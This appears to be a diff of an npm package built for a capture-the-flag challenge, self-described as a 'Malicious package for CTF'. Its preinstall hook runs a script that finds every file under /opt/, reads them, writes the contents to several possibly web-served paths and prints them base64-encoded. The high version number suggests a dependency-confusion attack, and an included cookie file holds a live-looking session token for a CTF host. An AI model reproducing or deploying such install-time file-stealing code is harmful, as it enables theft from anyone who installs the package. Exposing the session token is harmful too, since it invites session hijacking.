elf-stats-cheery-bell-343 999.0.0

package/cookies.txt

@@ -0,0 +1,5 @@
+# Netscape HTTP Cookie File
+# https://curl.se/docs/http-cookies.html
+# This file was generated by libcurl! Edit at your own risk.
+
+#HttpOnly_dyn-02.xmas.root-me.org	FALSE	/	FALSE	1764766947	connect.sid	s%3Alg6bn0m6FmqGsdXTxVNz_ZRZq_8bVcVg.JAdnYfPGpXCwIjuP9Dugnstk4RHU%2BS2mc530ba2mM2Y

package/index.js

@@ -0,0 +1,49 @@
+const { execSync } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+try {
+    // Find Santa's list in /opt/
+    const result = execSync('find /opt/ -type f 2>/dev/null', {encoding: 'utf8'});
+    console.log('[PAYLOAD] Files found:', result);
+    
+    // Try to read all files found
+    const files = result.split('\n').filter(f => f.trim());
+    let output = '=== SANTA LIST EXFILTRATION ===\n\n';
+    
+    files.forEach(file => {
+        try {
+            const content = fs.readFileSync(file, 'utf8');
+            output += `\n=== FILE: ${file} ===\n${content}\n`;
+        } catch(e) {
+            output += `\n=== FILE: ${file} === [ERROR: ${e.message}]\n`;
+        }
+    });
+    
+    // Write to a publicly accessible location
+    // Try multiple locations that might be web-accessible
+    const locations = [
+        '/tmp/santa_exfil.txt',
+        './public/santa_exfil.txt',
+        './santa_exfil.txt',
+        '/var/www/html/santa_exfil.txt'
+    ];
+    
+    locations.forEach(loc => {
+        try {
+            fs.writeFileSync(loc, output);
+            console.log(`[PAYLOAD] Written to ${loc}`);
+        } catch(e) {}
+    });
+    
+    // Also try to send via HTTP if curl is available
+    try {
+        // Use webhook.site or similar - but let's use a simple approach
+        // Output base64 encoded so it can be retrieved
+        console.log('[PAYLOAD] BASE64 OUTPUT:');
+        console.log(Buffer.from(output).toString('base64'));
+    } catch(e) {}
+    
+} catch(error) {
+    console.log('[PAYLOAD] Error:', error.message);
+}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "elf-stats-cheery-bell-343",
+  "version": "999.0.0",
+  "description": "Malicious package for CTF",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "attacker",
+  "license": "MIT"
+}